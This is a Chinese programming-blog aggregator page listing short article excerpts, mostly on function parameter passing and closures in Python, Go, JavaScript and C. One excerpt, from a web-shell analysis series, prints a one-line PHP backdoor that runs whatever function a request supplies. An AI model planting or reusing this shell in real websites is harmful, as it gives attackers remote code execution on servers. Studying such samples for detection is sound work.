闭包函数 函数对象:可以将定义在函数内的函数返回到全局使用,从而打破函数的层级限制。 名称空间与作用域:作用域关系在函数定义阶段时就已经固定死了,与调用位置无关,即在任意位置调用函数都需要跑到定义函数时找到作用域关系。 一、什么是闭包? 闭包:闭是封闭(函数内部函数),包是包含(该内部函数对外部作用 ...
分类:
其他好文 时间:
2019-11-14 21:44:43
阅读次数:
65
闭包函数: 1.闭包函数必须在函数内部定义 2.闭包函数可以引用外层函数的名字 闭包函数是 函数嵌套、函数对象、名称空间与作用域 结合体。 # 直接传参 def func(x): print(x) func(1000) # 通过闭包函数传参 def outer(number): # number = ...
分类:
其他好文 时间:
2019-11-12 21:58:51
阅读次数:
88
一.函数的动态参数 之前我们说过了传参, 如果我们需要给一个函数传参, 而参数又是不确定的. 或者我给一个函数传很多参数, 我的形参就要写很多, 很麻烦, 怎么办呢. 我们可以考虑使用动态参数. 动态参数分成两种: 1. *args 动态接收位置参数 动态接收参数的时候要注意:动态参数必须在位置参数 ...
分类:
编程语言 时间:
2019-11-08 23:45:19
阅读次数:
122
package main /* %T 类型占位符 %v 值占位符 %p 地址(指针)占位符,只有地址才能替换%p &value 对值取地址 *addr 对地址取值 **int 指向int型指针的指针 作用:函数传参时,传递指针叫引用传递,值传递是拷贝式的,对被传参数的修改是不会改变本体的,想要改变本... ...
分类:
编程语言 时间:
2019-11-06 22:48:54
阅读次数:
101
WebShell代码分析溯源(十一) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二、代码分析 1、调整代码格式 2、分析代码 2.1、首 ...
分类:
Web程序 时间:
2019-11-03 15:01:25
阅读次数:
89
首先是快捷键的设置,Mac中是在菜单栏的Pycharn/Preference/Keymap中 【快速调试】 1.看函数、方法最初在哪里创建的,这个方法很好用,查看内置函数之类的 按住command,鼠标点击函数、方法 2.给函数传参数时,查看需要哪些参数,光标在函数的括号内时 command+p ( ...
分类:
系统相关 时间:
2019-10-27 10:48:08
阅读次数:
100
函数传参 1、(*args) : *可变参数,多个参数时可写*名字,可以不传 ,可以传多个参数 2、(name="None") 可以不传,默认值参数 3、(**kwargs) 字典格式 key:values格式 关键字参数 (**info): kwargs可以随意起名字 4、(word) 位置参数, ...
分类:
其他好文 时间:
2019-10-19 13:23:24
阅读次数:
73
1.random(随机函数) 2.csvRead(可用于参数化) 3.StringFromFile(可用于参数化) 文件数据存储 生成函数 将生成的函数传参 结果如下: 4.threadNum线程数 ...
分类:
其他好文 时间:
2019-10-17 23:51:03
阅读次数:
112
call 1.改变this指向 2.执行函数 3.传参 apply 1.改变this指向,执行函数,传参(参数必须是数组的形式) bind 1.改变this指向 2.执行函数(bind方法不会立即执行函数,而是返回了一个新的函数,新的函数调用的时候才会执行) 3.传参(参数会传递到返回的函数中,例下 ...
分类:
移动开发 时间:
2019-10-17 17:40:05
阅读次数:
91
void GetMemory(char *p) { p = (char *)malloc(100); } void Test(void) { char *str = NULL; GetMemory(str); //值传递,单向传递,拷贝传递。 strcpy(str, "hello world"); ...
分类:
其他好文 时间:
2019-10-15 13:08:38
阅读次数:
91